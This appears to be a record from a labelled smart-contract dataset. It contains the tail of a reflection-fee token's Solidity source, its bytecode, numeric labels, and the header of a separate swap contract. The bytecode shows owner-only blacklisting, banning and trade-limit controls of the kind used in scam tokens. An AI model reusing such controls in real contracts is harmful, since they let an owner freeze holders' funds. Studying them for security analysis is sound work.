_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tLiquidity, _getRate());
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity);
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256, uint256) {
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(
10**2
);
}
function calculateLiquidityFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_liquidityFee).div(
10**2
);
}
function removeAllFee() private {
if(_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
require(taxFee <= 10, "Maximum fee limit is 10 percent");
_taxFee = taxFee;
}
function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() {
require(liquidityFee <= 10, "Maximum fee limit is 10 percent");
_liquidityFee = liquidityFee;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent <= 50, "Maximum tax limit is 10 percent");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
//to recieve ETH from pancakeRouter when swaping
receive() external payable {}
} | 0x60806040526004361061031e5760003560e01c8063772558ce116101ab578063a9059cbb116100f7578063dd46706411610095578063ea2f0b371161006f578063ea2f0b3714610bff578063f157ce4014610c32578063f2fde38b14610c65578063fe575a8714610c9857610325565b8063dd46706414610b67578063dd62ed3e14610b91578063e47d606014610bcc57610325565b8063c21ebd07116100d1578063c21ebd0714610ac9578063c49b9a8014610ade578063cad6ebf914610b0a578063d543dbeb14610b3d57610325565b8063a9059cbb14610a66578063b6c5232414610a9f578063b8c9d25c14610ab457610325565b80638da5cb5b11610164578063a1bdc3991161013e578063a1bdc39914610986578063a457c2d714610a03578063a4d66daf14610a3c578063a69df4b514610a5157610325565b80638da5cb5b146109325780638ee88c531461094757806395d89b411461097157610325565b8063772558ce146107c157806377e5006f1461083e5780637d1db4a5146108715780637ded4d6a14610886578063862a4bf2146108b957806388f82020146108ff57610325565b80633b124fe71161026a5780634dfefc4b116102235780636bc87c3a116101fd5780636bc87c3a1461074f57806370a0823114610764578063715018a61461079757806376e2b7ab146107ac57610325565b80634dfefc4b146106b657806352390c02146106e95780635342acb41461071c57610325565b80633b124fe7146105ca5780633bd5d173146105df5780634303443d14610609578063437823ec1461063c5780634549b0391461066f5780634a74bb02146106a157610325565b806320b9588c116102d75780632d838119116102b15780632d83811914610509578063313ce567146105335780633685d4191461055e578063395093511461059157610325565b806320b9588c1461047e57806323b872dd146104b15780632cde6081146104f457610325565b8063061c82d01461032a57806306fdde0314610356578063095ea7b3146103e057806313114a9d1461042d578063178ef3071461045457806318160ddd1461046957610325565b3661032557005b600080fd5b34801561033657600080fd5b506103546004803603602081101561034d57600080fd5b5035610ccb565b005b34801561036257600080fd5b5061036b610d7e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156103a557818101518382015260200161038d565b50505050905090810190601f1680156103d25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156103ec57600080fd5b506104196004803603604081101561040357600080fd5b506001600160a01b038135169060200135610e14565b604080519115158252519081900360200190f35b34801561043957600080fd5b50610442610e32565b60408051918252519081900360200190f35b34801561046057600080fd5b50610442610e38565b34801561047557600080fd5b50610442610e3e565b34801561048a57600080fd5b50610442600480360360208110156104a157600080fd5b50356001600160a01b0316610e44565b3480156104bd57600080fd5b50610419600480360360608110156104d457600080fd5b506001600160a01b03813581169160208101359091169060400135610e56565b34801561050057600080fd5b50610354610edd565b34801561051557600080fd5b506104426004803603602081101561052c57600080fd5b5035610f96565b34801561053f57600080fd5b50610548610ff8565b6040805160ff9092168252519081900360200190f35b34801561056a57600080fd5b506103546004803603602081101561058157600080fd5b50356001600160a01b0316611001565b34801561059d57600080fd5b50610419600480360360408110156105b457600080fd5b506001600160a01b0381351690602001356111c2565b3480156105d657600080fd5b50610442611210565b3480156105eb57600080fd5b506103546004803603602081101561060257600080fd5b5035611216565b34801561061557600080fd5b506103546004803603602081101561062c57600080fd5b50356001600160a01b03166112f0565b34801561064857600080fd5b506103546004803603602081101561065f57600080fd5b50356001600160a01b0316611478565b34801561067b57600080fd5b506104426004803603604081101561069257600080fd5b508035906020013515156114f4565b3480156106ad57600080fd5b50610419611586565b3480156106c257600080fd5b50610419600480360360208110156106d957600080fd5b50356001600160a01b0316611596565b3480156106f557600080fd5b506103546004803603602081101561070c57600080fd5b50356001600160a01b03166115ab565b34801561072857600080fd5b506104196004803603602081101561073f57600080fd5b50356001600160a01b0316611731565b34801561075b57600080fd5b5061044261174f565b34801561077057600080fd5b506104426004803603602081101561078757600080fd5b50356001600160a01b0316611755565b3480156107a357600080fd5b506103546117b7565b3480156107b857600080fd5b50610442611847565b3480156107cd57600080fd5b50610354600480360360208110156107e457600080fd5b8101906020810181356401000000008111156107ff57600080fd5b82018360208201111561081157600080fd5b8035906020019184602083028401116401000000008311171561083357600080fd5b50909250905061184b565b34801561084a57600080fd5b506104426004803603602081101561086157600080fd5b50356001600160a01b03166118fe565b34801561087d57600080fd5b506104426119ab565b34801561089257600080fd5b50610354600480360360208110156108a957600080fd5b50356001600160a01b03166119b1565b3480156108c557600080fd5b506108e3600480360360208110156108dc57600080fd5b5035611b3e565b604080516001600160a01b039092168252519081900360200190f35b34801561090b57600080fd5b506104196004803603602081101561092257600080fd5b50356001600160a01b0316611b65565b34801561093e57600080fd5b506108e3611b83565b34801561095357600080fd5b506103546004803603602081101561096a57600080fd5b5035611b92565b34801561097d57600080fd5b5061036b611c45565b34801561099257600080fd5b50610354600480360360208110156109a957600080fd5b8101906020810181356401000000008111156109c457600080fd5b8201836020820111156109d657600080fd5b803590602001918460208302840111640100000000831117156109f857600080fd5b509092509050611ca6565b348015610a0f57600080fd5b5061041960048036036040811015610a2657600080fd5b506001600160a01b038135169060200135611d54565b348015610a4857600080fd5b50610419611dbc565b348015610a5d57600080fd5b50610354611dc5565b348015610a7257600080fd5b5061041960048036036040811015610a8957600080fd5b506001600160a01b038135169060200135611eb3565b348015610aab57600080fd5b50610442611ec7565b348015610ac057600080fd5b506108e3611ecd565b348015610ad557600080fd5b506108e3611edc565b348015610aea57600080fd5b5061035460048036036020811015610b0157600080fd5b50351515611eeb565b348015610b1657600080fd5b5061035460048036036020811015610b2d57600080fd5b50356001600160a01b0316611f96565b348015610b4957600080fd5b5061035460048036036020811015610b6057600080fd5b5035612040565b348015610b7357600080fd5b5061035460048036036020811015610b8a57600080fd5b503561210e565b348015610b9d57600080fd5b5061044260048036036040811015610bb457600080fd5b506001600160a01b03813581169160200135166121ac565b348015610bd857600080fd5b5061041960048036036020811015610bef57600080fd5b50356001600160a01b03166121d7565b348015610c0b57600080fd5b5061035460048036036020811015610c2257600080fd5b50356001600160a01b03166121f5565b348015610c3e57600080fd5b5061035460048036036020811015610c5557600080fd5b50356001600160a01b031661226e565b348015610c7157600080fd5b5061035460048036036020811015610c8857600080fd5b50356001600160a01b031661230c565b348015610ca457600080fd5b5061041960048036036020811015610cbb57600080fd5b50356001600160a01b03166123f2565b610cd3612428565b6000546001600160a01b03908116911614610d23576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b600a811115610d79576040805162461bcd60e51b815260206004820152601f60248201527f4d6178696d756d20666565206c696d69742069732031302070657263656e7400604482015290519081900360640190fd5b600f55565b600c8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e0a5780601f10610ddf57610100808354040283529160200191610e0a565b820191906000526020600020905b815481529060010190602001808311610ded57829003601f168201915b5050505050905090565b6000610e28610e21612428565b848461242c565b5060015b92915050565b600b5490565b60145481565b60095490565b60216020526000908152604090205481565b6000610e638484846124b4565b610ed384610e6f612428565b610ece85604051806060016040528060288152602001613802602891396001600160a01b038a16600090815260056020526040812090610ead612428565b6001600160a01b0316815260208101919091526040016000205491906129af565b61242c565b5060019392505050565b610ee5612428565b6000546001600160a01b03908116911614610f35576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b60205460ff161515600114610f8a576040805162461bcd60e51b81526020600482015260166024820152756c696d697420697320616c72656164792066616c736560501b604482015290519081900360640190fd5b6020805460ff19169055565b6000600a54821115610fd95760405162461bcd60e51b815260040180806020018281038252602a815260200180613791602a913960400191505060405180910390fd5b6000610fe3612a46565b9050610fef8382612a69565b9150505b919050565b600e5460ff1690565b611009612428565b6000546001600160a01b03908116911614611059576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff166110c6576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b60005b6008548110156111be57816001600160a01b0316600882815481106110ea57fe5b6000918252602090912001546001600160a01b031614156111b65760088054600019810190811061111757fe5b600091825260209091200154600880546001600160a01b03909216918390811061113d57fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600482526040808220829055600790925220805460ff19169055600880548061118f57fe5b600082815260209020810160001990810180546001600160a01b03191690550190556111be565b6001016110c9565b5050565b6000610e286111cf612428565b84610ece85600560006111e0612428565b6001600160a01b03908116825260208083019390935260409182016000908120918c168152925290205490612ab2565b600f5481565b6000611220612428565b6001600160a01b03811660009081526007602052604090205490915060ff161561127b5760405162461bcd60e51b815260040180806020018281038252602c8152602001806138dc602c913960400191505060405180910390fd5b600061128683612b0c565b505050506001600160a01b0384166000908152600360205260409020549192506112b291905082612b5b565b6001600160a01b038316600090815260036020526040902055600a546112d89082612b5b565b600a55600b546112e89084612ab2565b600b55505050565b6112f8612428565b6000546001600160a01b03908116911614611348576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d6001600160a01b03821614156113a45760405162461bcd60e51b81526004018080602001828103825260248152602001806138936024913960400191505060405180910390fd5b6001600160a01b03811660009081526016602052604090205460ff1615611412576040805162461bcd60e51b815260206004820152601e60248201527f4163636f756e7420697320616c726561647920626c61636b6c69737465640000604482015290519081900360640190fd5b6001600160a01b03166000818152601660205260408120805460ff191660019081179091556017805491820181559091527fc624b66cc0138b8fabc209247f72d758e1cf3343756d543badbf24212bed8c150180546001600160a01b0319169091179055565b611480612428565b6000546001600160a01b039081169116146114d0576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19166001179055565b600060095483111561154d576040805162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604482015290519081900360640190fd5b8161156c57600061155d84612b0c565b50939550610e2c945050505050565b600061157784612b0c565b50929550610e2c945050505050565b601e54600160a81b900460ff1681565b60156020526000908152604090205460ff1681565b6115b3612428565b6000546001600160a01b03908116911614611603576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526007602052604090205460ff1615611671576040805162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604482015290519081900360640190fd5b6001600160a01b038116600090815260036020526040902054156116cb576001600160a01b0381166000908152600360205260409020546116b190610f96565b6001600160a01b0382166000908152600460205260409020555b6001600160a01b03166000818152600760205260408120805460ff191660019081179091556008805491820181559091527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee30180546001600160a01b0319169091179055565b6001600160a01b031660009081526006602052604090205460ff1690565b60115481565b6001600160a01b03811660009081526007602052604081205460ff161561179557506001600160a01b038116600090815260046020526040902054610ff3565b6001600160a01b038216600090815260036020526040902054610e2c90610f96565b6117bf612428565b6000546001600160a01b0390811691161461180f576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b600080546040516001600160a01b039091169060008051602061384a833981519152908390a3600080546001600160a01b0319169055565b4790565b611853612428565b6000546001600160a01b039081169116146118a3576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b60005b818110156118f9576001601960008585858181106118c057fe5b602090810292909201356001600160a01b0316835250810191909152604001600020805460ff19169115159190911790556001016118a6565b505050565b600047828261190c82611755565b90506000805b60085481101561195a576119508261194a6008848154811061193057fe5b6000918252602090912001546001600160a01b0316611755565b90612ab2565b9150600101611912565b50601e546000906119a09061199090849061198a90611981906001600160a01b0316611755565b60095490612b5b565b90612b5b565b61199a8588612b9d565b90612a69565b979650505050505050565b601a5481565b6119b9612428565b6000546001600160a01b03908116911614611a09576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526016602052604090205460ff16611a76576040805162461bcd60e51b815260206004820152601a60248201527f4163636f756e74206973206e6f7420626c61636b6c6973746564000000000000604482015290519081900360640190fd5b60005b6017548110156111be57816001600160a01b031660178281548110611a9a57fe5b6000918252602090912001546001600160a01b03161415611b3657601780546000198101908110611ac757fe5b600091825260209091200154601780546001600160a01b039092169183908110611aed57fe5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152601690915260409020805460ff19169055601780548061118f57fe5b600101611a79565b60138181548110611b4b57fe5b6000918252602090912001546001600160a01b0316905081565b6001600160a01b031660009081526007602052604090205460ff1690565b6000546001600160a01b031690565b611b9a612428565b6000546001600160a01b03908116911614611bea576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b600a811115611c40576040805162461bcd60e51b815260206004820152601f60248201527f4d6178696d756d20666565206c696d69742069732031302070657263656e7400604482015290519081900360640190fd5b601155565b600d8054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610e0a5780601f10610ddf57610100808354040283529160200191610e0a565b611cae612428565b6000546001600160a01b03908116911614611cfe576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b60005b818110156118f957600060196000858585818110611d1b57fe5b602090810292909201356001600160a01b0316835250810191909152604001600020805460ff1916911515919091179055600101611d01565b6000610e28611d61612428565b84610ece8560405180606001604052806025815260200161392b6025913960056000611d8b612428565b6001600160a01b03908116825260208083019390935260409182016000908120918d168152925290205491906129af565b60205460ff1681565b6001546001600160a01b03163314611e0e5760405162461bcd60e51b81526004018080602001828103825260238152602001806139086023913960400191505060405180910390fd5b6002544211611e64576040805162461bcd60e51b815260206004820152601f60248201527f436f6e7472616374206973206c6f636b656420756e74696c2037206461797300604482015290519081900360640190fd5b600154600080546040516001600160a01b03938416939091169160008051602061384a83398151915291a3600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6000610e28611ec0612428565b84846124b4565b60025490565b601e546001600160a01b031681565b601d546001600160a01b031681565b611ef3612428565b6000546001600160a01b03908116911614611f43576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b601e8054821515600160a81b810260ff60a81b199092169190911790915560408051918252517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1599181900360200190a150565b611f9e612428565b6000546001600160a01b03908116911614611fee576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526019602052604090205460ff161515600114156120195761203d565b6001600160a01b0381166000908152601960205260409020805460ff191660011790555b50565b612048612428565b6000546001600160a01b03908116911614612098576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b60328111156120ee576040805162461bcd60e51b815260206004820152601f60248201527f4d6178696d756d20746178206c696d69742069732031302070657263656e7400604482015290519081900360640190fd5b612108606461199a83600954612b9d90919063ffffffff16565b601a5550565b612116612428565b6000546001600160a01b03908116911614612166576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b60008054600180546001600160a01b03199081166001600160a01b03841617909155168155428201600255604051819060008051602061384a833981519152908290a350565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6001600160a01b031660009081526016602052604090205460ff1690565b6121fd612428565b6000546001600160a01b0390811691161461224d576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b612276612428565b6000546001600160a01b039081169116146122c6576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b6001600160a01b03811660009081526019602052604090205460ff166122eb5761203d565b6001600160a01b03166000908152601960205260409020805460ff19169055565b612314612428565b6000546001600160a01b03908116911614612364576040805162461bcd60e51b8152602060048201819052602482015260008051602061382a833981519152604482015290519081900360640190fd5b6001600160a01b0381166123a95760405162461bcd60e51b81526004018080602001828103825260268152602001806137bb6026913960400191505060405180910390fd5b600080546040516001600160a01b038085169392169160008051602061384a83398151915291a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03811660009081526019602052604081205460ff1615156001141561242057506001610ff3565b506000610ff3565b3390565b6001600160a01b03831661243f57600080fd5b6001600160a01b03821661245257600080fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166124f95760405162461bcd60e51b81526004018080602001828103825260258152602001806138b76025913960400191505060405180910390fd5b6001600160a01b03821661253e5760405162461bcd60e51b81526004018080602001828103825260238152602001806137426023913960400191505060405180910390fd5b6000811161257d5760405162461bcd60e51b815260040180806020018281038252602981526020018061386a6029913960400191505060405180910390fd5b6001600160a01b03821660009081526016602052604090205460ff16156125e5576040805162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015290519081900360640190fd5b6001600160a01b03831660009081526016602052604090205460ff161561264d576040805162461bcd60e51b8152602060048201526017602482015276596f752068617665206e6f20706f77657220686572652160481b604482015290519081900360640190fd5b6001600160a01b03831660009081526019602052604090205460ff16158061267c57506001600160a01b038216155b6126be576040805162461bcd60e51b815260206004820152600e60248201526d165bdd48185c994818985b9b995960921b604482015290519081900360640190fd5b6001600160a01b03821660009081526019602052604090205460ff161561272c576040805162461bcd60e51b815260206004820152601760248201527f54686520726563697069656e742069732062616e6e6564000000000000000000604482015290519081900360640190fd5b60205460ff161515600114801561275c5750612746611b83565b6001600160a01b0316836001600160a01b031614155b8015612781575061276b611b83565b6001600160a01b0316826001600160a01b031614155b1561280557601e546001600160a01b038381169116146127bd57681b1ae4d6e2ef5000006127b28261194a85611755565b11156127bd57600080fd5b68056bc75e2d631000008111156128055760405162461bcd60e51b815260040180806020018281038252602c815260200180613765602c913960400191505060405180910390fd5b61280d611b83565b6001600160a01b0316836001600160a01b0316141580156128475750612831611b83565b6001600160a01b0316826001600160a01b031614155b1561285b57601a5481111561285b57600080fd5b6001600160a01b03821660009081526015602052604090205460ff166128e7576013805460018082019092557f66de8ffda797e3de9c05e8fc57b3bf0ec28a930d40b0d285d93c06501cf6a0900180546001600160a01b0319166001600160a01b03851690811790915560148054830190556000908152601560205260409020805460ff191690911790555b60006128f230611755565b601f54909150811080159081906129135750601e54600160a01b900460ff16155b801561292d5750601e546001600160a01b03868116911614155b80156129425750601e54600160a81b900460ff165b156129505761295082612bf6565b6001600160a01b03851660009081526006602052604090205460019060ff168061299257506001600160a01b03851660009081526006602052604090205460ff165b1561299b575060005b6129a786868684612d5e565b505050505050565b60008184841115612a3e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612a035781810151838201526020016129eb565b50505050905090810190601f168015612a305780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000806000612a53612ed2565b9092509050612a628282612a69565b9250505090565b6000612aab83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613035565b9392505050565b600082820183811015612aab576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000806000806000806000806000612b238a61309a565b9250925092506000806000612b418d8686612b3c612a46565b6130d6565b919f909e50909c50959a5093985091965092945050505050565b6000612aab83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506129af565b600082612bac57506000610e2c565b82820282848281612bb957fe5b0414612aab5760405162461bcd60e51b81526004018080602001828103825260218152602001806137e16021913960400191505060405180910390fd5b601e805460ff60a01b1916600160a01b1790556000612c16826003612a69565b90506000612c25836003612a69565b90506000612c34846003612a69565b90506000612c43846002612a69565b90506000612c518583612b5b565b905047612c6a612c658561194a8689612ab2565b613126565b6000612c764783612b5b565b90506000612c85826003612a69565b601b546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015612cc0573d6000803e3d6000fd5b50601c546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612cfb573d6000803e3d6000fd5b50612d0684826132cc565b604080518681526020810183905280820186905290517f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb5619181900360600190a15050601e805460ff60a01b1916905550505050505050565b80612d6b57612d6b613399565b6001600160a01b03841660009081526007602052604090205460ff168015612dac57506001600160a01b03831660009081526007602052604090205460ff16155b15612dc157612dbc8484846133cb565b612ebf565b6001600160a01b03841660009081526007602052604090205460ff16158015612e0257506001600160a01b03831660009081526007602052604090205460ff165b15612e1257612dbc8484846134ef565b6001600160a01b03841660009081526007602052604090205460ff16158015612e5457506001600160a01b03831660009081526007602052604090205460ff16155b15612e6457612dbc848484613598565b6001600160a01b03841660009081526007602052604090205460ff168015612ea457506001600160a01b03831660009081526007602052604090205460ff165b15612eb457612dbc8484846135dc565b612ebf848484613598565b80612ecc57612ecc61364f565b50505050565b600a546009546000918291825b60085481101561300357826003600060088481548110612efb57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180612f605750816004600060088481548110612f3957fe5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b15612f7757600a5460095494509450505050613031565b612fb76003600060088481548110612f8b57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490612b5b565b9250612ff96004600060088481548110612fcd57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390612b5b565b9150600101612edf565b50600954600a5461301391612a69565b82101561302b57600a54600954935093505050613031565b90925090505b9091565b600081836130845760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315612a035781810151838201526020016129eb565b50600083858161309057fe5b0495945050505050565b6000806000806130a98561365d565b905060006130b686613679565b905060006130c88261198a8986612b5b565b979296509094509092505050565b60008080806130e58886612b9d565b905060006130f38887612b9d565b905060006131018888612b9d565b905060006131138261198a8686612b5b565b939b939a50919850919650505050505050565b6040805160028082526060808301845292602083019080368337019050509050308160008151811061315457fe5b6001600160a01b03928316602091820292909201810191909152601d54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156131a857600080fd5b505afa1580156131bc573d6000803e3d6000fd5b505050506040513d60208110156131d257600080fd5b50518151829060019081106131e357fe5b6001600160a01b039283166020918202929092010152601d54613209913091168461242c565b601d5460405163791ac94760e01b8152600481018481526000602483018190523060648401819052426084850181905260a060448601908152875160a487015287516001600160a01b039097169663791ac947968a968a9594939092909160c40190602080880191028083838b5b8381101561328f578181015183820152602001613277565b505050509050019650505050505050600060405180830381600087803b1580156132b857600080fd5b505af11580156129a7573d6000803e3d6000fd5b601d546132e49030906001600160a01b03168461242c565b601d546001600160a01b031663f305d719823085600080613303611b83565b426040518863ffffffff1660e01b815260040180876001600160a01b03168152602001868152602001858152602001848152602001836001600160a01b0316815260200182815260200196505050505050506060604051808303818588803b15801561336e57600080fd5b505af1158015613382573d6000803e3d6000fd5b50505050506040513d6060811015612ecc57600080fd5b600f541580156133a95750601154155b156133b3576133c9565b600f805460105560118054601255600091829055555b565b6000806000806000806133dd87612b0c565b6001600160a01b038f16600090815260046020526040902054959b5093995091975095509350915061340f9088612b5b565b6001600160a01b038a1660009081526004602090815260408083209390935560039052205461343e9087612b5b565b6001600160a01b03808b1660009081526003602052604080822093909355908a168152205461346d9086612ab2565b6001600160a01b03891660009081526003602052604090205561348f81613695565b613499848361371d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b60008060008060008061350187612b0c565b6001600160a01b038f16600090815260036020526040902054959b509399509197509550935091506135339087612b5b565b6001600160a01b03808b16600090815260036020908152604080832094909455918b168152600490915220546135699084612ab2565b6001600160a01b03891660009081526004602090815260408083209390935560039052205461346d9086612ab2565b6000806000806000806135aa87612b0c565b6001600160a01b038f16600090815260036020526040902054959b5093995091975095509350915061343e9087612b5b565b6000806000806000806135ee87612b0c565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506136209088612b5b565b6001600160a01b038a166000908152600460209081526040808320939093556003905220546135339087612b5b565b601054600f55601254601155565b6000610e2c606461199a600f5485612b9d90919063ffffffff16565b6000610e2c606461199a60115485612b9d90919063ffffffff16565b600061369f612a46565b905060006136ad8383612b9d565b306000908152600360205260409020549091506136ca9082612ab2565b3060009081526003602090815260408083209390935560079052205460ff16156118f957306000908152600460205260409020546137089084612ab2565b30600090815260046020526040902055505050565b600a5461372a9083612b5b565b600a55600b5461373a9082612ab2565b600b55505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573735472616e7366657220616d6f756e74206d757374206265206c657373207468616e2031303020746f6b656e73416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63654f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65728be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e05472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f57652063616e206e6f7420626c61636b6c69737420556e697377617020726f757465722e45524332303a207472616e736665722066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6f636b45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220db04c95900ae972cb274cee1acebf281439d1b104d05b00475f388f35de6ae2364736f6c634300060c0033 | [
13,
5,
12
] |
0xf351Dd5EC89e5ac6c9125262853c74E714C1d56a | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.7.6;
pragma experimental ABIEncoderV2;
import "./BaseSwap.sol";
import "../interfaces/IDMMRouter.sol";
import "../libraries/BytesLib.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@kyber.network/utils-sc/contracts/IERC20Ext.sol";
/// General swap for uniswap and its clones
